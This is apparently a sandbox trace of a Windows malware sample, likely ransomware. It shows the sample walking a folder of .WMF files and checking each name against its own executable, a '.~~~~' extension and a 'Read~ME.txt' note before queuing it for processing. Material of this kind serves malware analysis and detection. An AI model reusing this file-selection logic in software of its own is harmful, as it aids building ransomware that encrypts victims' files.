	[0084.729] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107342.WMF", cAlternateFileName="")) returned 1
	[0084.729] lstrcmpiW (lpString1="J0107342.WMF", lpString2="Windows") returned -1
	[0084.729] lstrcmpW (lpString1="J0107342.WMF", lpString2="oiikyy.exe") returned -1
	[0084.729] StrStrW (lpFirst="J0107342.WMF", lpSrch=".~~~~") returned 0x0
	[0084.729] lstrcmpW (lpString1="J0107342.WMF", lpString2="Read~ME.txt") returned -1
	[0084.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.730] GetCurrentThreadId () returned 0x618
	[0084.730] RtlWakeConditionVariable () returned 0x365f48
	[0084.730] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107344.WMF", cAlternateFileName="")) returned 1
	[0084.730] lstrcmpiW (lpString1="J0107344.WMF", lpString2="Windows") returned -1
	[0084.730] lstrcmpW (lpString1="J0107344.WMF", lpString2="oiikyy.exe") returned -1
	[0084.730] StrStrW (lpFirst="J0107344.WMF", lpSrch=".~~~~") returned 0x0
	[0084.730] lstrcmpW (lpString1="J0107344.WMF", lpString2="Read~ME.txt") returned -1
	[0084.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.730] GetCurrentThreadId () returned 0x618
	[0084.730] RtlWakeConditionVariable () returned 0x365f48
	[0084.730] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107350.WMF", cAlternateFileName="")) returned 1
	[0084.730] lstrcmpiW (lpString1="J0107350.WMF", lpString2="Windows") returned -1
	[0084.730] lstrcmpW (lpString1="J0107350.WMF", lpString2="oiikyy.exe") returned -1
	[0084.730] StrStrW (lpFirst="J0107350.WMF", lpSrch=".~~~~") returned 0x0
	[0084.730] lstrcmpW (lpString1="J0107350.WMF", lpString2="Read~ME.txt") returned -1
	[0084.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.730] GetCurrentThreadId () returned 0x618
	[0084.730] RtlWakeConditionVariable () returned 0x365f48
	[0084.730] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107358.WMF", cAlternateFileName="")) returned 1
	[0084.730] lstrcmpiW (lpString1="J0107358.WMF", lpString2="Windows") returned -1
	[0084.731] lstrcmpW (lpString1="J0107358.WMF", lpString2="oiikyy.exe") returned -1
	[0084.731] StrStrW (lpFirst="J0107358.WMF", lpSrch=".~~~~") returned 0x0
	[0084.731] lstrcmpW (lpString1="J0107358.WMF", lpString2="Read~ME.txt") returned -1
	[0084.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.731] GetCurrentThreadId () returned 0x618
	[0084.731] RtlWakeConditionVariable () returned 0x365f48
	[0084.731] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107364.WMF", cAlternateFileName="")) returned 1
	[0084.731] lstrcmpiW (lpString1="J0107364.WMF", lpString2="Windows") returned -1
	[0084.731] lstrcmpW (lpString1="J0107364.WMF", lpString2="oiikyy.exe") returned -1
	[0084.731] StrStrW (lpFirst="J0107364.WMF", lpSrch=".~~~~") returned 0x0
	[0084.731] lstrcmpW (lpString1="J0107364.WMF", lpString2="Read~ME.txt") returned -1
	[0084.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.731] GetCurrentThreadId () returned 0x618
	[0084.731] RtlWakeConditionVariable () returned 0x365f48
	[0084.731] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107426.WMF", cAlternateFileName="")) returned 1
	[0084.731] lstrcmpiW (lpString1="J0107426.WMF", lpString2="Windows") returned -1
	[0084.731] lstrcmpW (lpString1="J0107426.WMF", lpString2="oiikyy.exe") returned -1
	[0084.731] StrStrW (lpFirst="J0107426.WMF", lpSrch=".~~~~") returned 0x0
	[0084.731] lstrcmpW (lpString1="J0107426.WMF", lpString2="Read~ME.txt") returned -1
	[0084.731] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.731] GetCurrentThreadId () returned 0x618
	[0084.731] RtlWakeConditionVariable () returned 0x365f48
	[0084.731] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7680, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107446.WMF", cAlternateFileName="")) returned 1
	[0084.732] lstrcmpiW (lpString1="J0107446.WMF", lpString2="Windows") returned -1
	[0084.732] lstrcmpW (lpString1="J0107446.WMF", lpString2="oiikyy.exe") returned -1
	[0084.732] StrStrW (lpFirst="J0107446.WMF", lpSrch=".~~~~") returned 0x0
	[0084.732] lstrcmpW (lpString1="J0107446.WMF", lpString2="Read~ME.txt") returned -1
	[0084.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.732] GetCurrentThreadId () returned 0x618
	[0084.732] RtlWakeConditionVariable () returned 0x365f48
	[0084.744] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107450.WMF", cAlternateFileName="")) returned 1
	[0084.744] lstrcmpiW (lpString1="J0107450.WMF", lpString2="Windows") returned -1
	[0084.744] lstrcmpW (lpString1="J0107450.WMF", lpString2="oiikyy.exe") returned -1
	[0084.744] StrStrW (lpFirst="J0107450.WMF", lpSrch=".~~~~") returned 0x0
	[0084.744] lstrcmpW (lpString1="J0107450.WMF", lpString2="Read~ME.txt") returned -1
	[0084.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.744] GetCurrentThreadId () returned 0x618
	[0084.744] RtlWakeConditionVariable () returned 0x365f48
	[0084.744] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107452.WMF", cAlternateFileName="")) returned 1
	[0084.744] lstrcmpiW (lpString1="J0107452.WMF", lpString2="Windows") returned -1
	[0084.744] lstrcmpW (lpString1="J0107452.WMF", lpString2="oiikyy.exe") returned -1
	[0084.744] StrStrW (lpFirst="J0107452.WMF", lpSrch=".~~~~") returned 0x0
	[0084.744] lstrcmpW (lpString1="J0107452.WMF", lpString2="Read~ME.txt") returned -1
	[0084.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.744] GetCurrentThreadId () returned 0x618
	[0084.744] RtlWakeConditionVariable () returned 0x365f48
	[0084.745] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107456.WMF", cAlternateFileName="")) returned 1
	[0084.745] lstrcmpiW (lpString1="J0107456.WMF", lpString2="Windows") returned -1
	[0084.745] lstrcmpW (lpString1="J0107456.WMF", lpString2="oiikyy.exe") returned -1
	[0084.745] StrStrW (lpFirst="J0107456.WMF", lpSrch=".~~~~") returned 0x0
	[0084.745] lstrcmpW (lpString1="J0107456.WMF", lpString2="Read~ME.txt") returned -1
	[0084.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.745] GetCurrentThreadId () returned 0x618
	[0084.745] RtlWakeConditionVariable () returned 0x365f48
	[0084.745] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107458.WMF", cAlternateFileName="")) returned 1
	[0084.745] lstrcmpiW (lpString1="J0107458.WMF", lpString2="Windows") returned -1
	[0084.745] lstrcmpW (lpString1="J0107458.WMF", lpString2="oiikyy.exe") returned -1
	[0084.745] StrStrW (lpFirst="J0107458.WMF", lpSrch=".~~~~") returned 0x0
	[0084.745] lstrcmpW (lpString1="J0107458.WMF", lpString2="Read~ME.txt") returned -1
	[0084.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.745] GetCurrentThreadId () returned 0x618
	[0084.745] RtlWakeConditionVariable () returned 0x365f48
	[0084.745] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107468.WMF", cAlternateFileName="")) returned 1
	[0084.745] lstrcmpiW (lpString1="J0107468.WMF", lpString2="Windows") returned -1
	[0084.745] lstrcmpW (lpString1="J0107468.WMF", lpString2="oiikyy.exe") returned -1
	[0084.745] StrStrW (lpFirst="J0107468.WMF", lpSrch=".~~~~") returned 0x0
	[0084.745] lstrcmpW (lpString1="J0107468.WMF", lpString2="Read~ME.txt") returned -1
	[0084.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.745] GetCurrentThreadId () returned 0x618
	[0084.745] RtlWakeConditionVariable () returned 0x365f48
	[0084.746] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1788, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107480.WMF", cAlternateFileName="")) returned 1
	[0084.746] lstrcmpiW (lpString1="J0107480.WMF", lpString2="Windows") returned -1
	[0084.746] lstrcmpW (lpString1="J0107480.WMF", lpString2="oiikyy.exe") returned -1
	[0084.746] StrStrW (lpFirst="J0107480.WMF", lpSrch=".~~~~") returned 0x0
	[0084.746] lstrcmpW (lpString1="J0107480.WMF", lpString2="Read~ME.txt") returned -1
	[0084.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.746] GetCurrentThreadId () returned 0x618
	[0084.746] RtlWakeConditionVariable () returned 0x365f48
	[0084.746] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1374, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107482.WMF", cAlternateFileName="")) returned 1
	[0084.746] lstrcmpiW (lpString1="J0107482.WMF", lpString2="Windows") returned -1
	[0084.746] lstrcmpW (lpString1="J0107482.WMF", lpString2="oiikyy.exe") returned -1
	[0084.746] StrStrW (lpFirst="J0107482.WMF", lpSrch=".~~~~") returned 0x0
	[0084.746] lstrcmpW (lpString1="J0107482.WMF", lpString2="Read~ME.txt") returned -1
	[0084.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.746] GetCurrentThreadId () returned 0x618
	[0084.746] RtlWakeConditionVariable () returned 0x365f48
	[0084.746] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107484.WMF", cAlternateFileName="")) returned 1
	[0084.746] lstrcmpiW (lpString1="J0107484.WMF", lpString2="Windows") returned -1
	[0084.746] lstrcmpW (lpString1="J0107484.WMF", lpString2="oiikyy.exe") returned -1
	[0084.746] StrStrW (lpFirst="J0107484.WMF", lpSrch=".~~~~") returned 0x0
	[0084.746] lstrcmpW (lpString1="J0107484.WMF", lpString2="Read~ME.txt") returned -1
	[0084.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.747] GetCurrentThreadId () returned 0x618
	[0084.747] RtlWakeConditionVariable () returned 0x365f48
	[0084.747] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107488.WMF", cAlternateFileName="")) returned 1
	[0084.747] lstrcmpiW (lpString1="J0107488.WMF", lpString2="Windows") returned -1
	[0084.747] lstrcmpW (lpString1="J0107488.WMF", lpString2="oiikyy.exe") returned -1
	[0084.747] StrStrW (lpFirst="J0107488.WMF", lpSrch=".~~~~") returned 0x0
	[0084.747] lstrcmpW (lpString1="J0107488.WMF", lpString2="Read~ME.txt") returned -1
	[0084.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.747] GetCurrentThreadId () returned 0x618
	[0084.747] RtlWakeConditionVariable () returned 0x365f48
	[0084.747] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4054, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107490.WMF", cAlternateFileName="")) returned 1
	[0084.747] lstrcmpiW (lpString1="J0107490.WMF", lpString2="Windows") returned -1
	[0084.747] lstrcmpW (lpString1="J0107490.WMF", lpString2="oiikyy.exe") returned -1
	[0084.747] StrStrW (lpFirst="J0107490.WMF", lpSrch=".~~~~") returned 0x0
	[0084.747] lstrcmpW (lpString1="J0107490.WMF", lpString2="Read~ME.txt") returned -1
	[0084.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.747] GetCurrentThreadId () returned 0x618
	[0084.747] RtlWakeConditionVariable () returned 0x365f48
	[0084.747] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107492.WMF", cAlternateFileName="")) returned 1
	[0084.747] lstrcmpiW (lpString1="J0107492.WMF", lpString2="Windows") returned -1
	[0084.747] lstrcmpW (lpString1="J0107492.WMF", lpString2="oiikyy.exe") returned -1
	[0084.747] StrStrW (lpFirst="J0107492.WMF", lpSrch=".~~~~") returned 0x0
	[0084.748] lstrcmpW (lpString1="J0107492.WMF", lpString2="Read~ME.txt") returned -1
	[0084.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.748] GetCurrentThreadId () returned 0x618
	[0084.748] RtlWakeConditionVariable () returned 0x365f48
	[0084.748] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1918, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107494.WMF", cAlternateFileName="")) returned 1
	[0084.748] lstrcmpiW (lpString1="J0107494.WMF", lpString2="Windows") returned -1
	[0084.748] lstrcmpW (lpString1="J0107494.WMF", lpString2="oiikyy.exe") returned -1
	[0084.748] StrStrW (lpFirst="J0107494.WMF", lpSrch=".~~~~") returned 0x0
	[0084.748] lstrcmpW (lpString1="J0107494.WMF", lpString2="Read~ME.txt") returned -1
	[0084.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.748] GetCurrentThreadId () returned 0x618
	[0084.748] RtlWakeConditionVariable () returned 0x365f48
	[0084.748] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107496.WMF", cAlternateFileName="")) returned 1
	[0084.748] lstrcmpiW (lpString1="J0107496.WMF", lpString2="Windows") returned -1
	[0084.748] lstrcmpW (lpString1="J0107496.WMF", lpString2="oiikyy.exe") returned -1
	[0084.748] StrStrW (lpFirst="J0107496.WMF", lpSrch=".~~~~") returned 0x0
	[0084.748] lstrcmpW (lpString1="J0107496.WMF", lpString2="Read~ME.txt") returned -1
	[0084.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.748] GetCurrentThreadId () returned 0x618
	[0084.748] RtlWakeConditionVariable () returned 0x365f48
	[0084.748] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107500.WMF", cAlternateFileName="")) returned 1
	[0084.748] lstrcmpiW (lpString1="J0107500.WMF", lpString2="Windows") returned -1
	[0084.748] lstrcmpW (lpString1="J0107500.WMF", lpString2="oiikyy.exe") returned -1
	[0084.749] StrStrW (lpFirst="J0107500.WMF", lpSrch=".~~~~") returned 0x0
	[0084.749] lstrcmpW (lpString1="J0107500.WMF", lpString2="Read~ME.txt") returned -1
	[0084.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.749] GetCurrentThreadId () returned 0x618
	[0084.749] RtlWakeConditionVariable () returned 0x365f48
	[0084.749] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107502.WMF", cAlternateFileName="")) returned 1
	[0084.749] lstrcmpiW (lpString1="J0107502.WMF", lpString2="Windows") returned -1
	[0084.749] lstrcmpW (lpString1="J0107502.WMF", lpString2="oiikyy.exe") returned -1
	[0084.749] StrStrW (lpFirst="J0107502.WMF", lpSrch=".~~~~") returned 0x0
	[0084.749] lstrcmpW (lpString1="J0107502.WMF", lpString2="Read~ME.txt") returned -1
	[0084.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.749] GetCurrentThreadId () returned 0x618
	[0084.749] RtlWakeConditionVariable () returned 0x365f48
	[0084.749] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107512.WMF", cAlternateFileName="")) returned 1
	[0084.749] lstrcmpiW (lpString1="J0107512.WMF", lpString2="Windows") returned -1
	[0084.749] lstrcmpW (lpString1="J0107512.WMF", lpString2="oiikyy.exe") returned -1
	[0084.749] StrStrW (lpFirst="J0107512.WMF", lpSrch=".~~~~") returned 0x0
	[0084.749] lstrcmpW (lpString1="J0107512.WMF", lpString2="Read~ME.txt") returned -1
	[0084.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.749] GetCurrentThreadId () returned 0x618
	[0084.749] RtlWakeConditionVariable () returned 0x365f48
	[0084.750] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107514.WMF", cAlternateFileName="")) returned 1
	[0084.750] lstrcmpiW (lpString1="J0107514.WMF", lpString2="Windows") returned -1
	[0084.750] lstrcmpW (lpString1="J0107514.WMF", lpString2="oiikyy.exe") returned -1
	[0084.750] StrStrW (lpFirst="J0107514.WMF", lpSrch=".~~~~") returned 0x0
	[0084.750] lstrcmpW (lpString1="J0107514.WMF", lpString2="Read~ME.txt") returned -1
	[0084.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.750] GetCurrentThreadId () returned 0x618
	[0084.750] RtlWakeConditionVariable () returned 0x365f48
	[0084.750] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x36b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107516.WMF", cAlternateFileName="")) returned 1
	[0084.750] lstrcmpiW (lpString1="J0107516.WMF", lpString2="Windows") returned -1
	[0084.750] lstrcmpW (lpString1="J0107516.WMF", lpString2="oiikyy.exe") returned -1
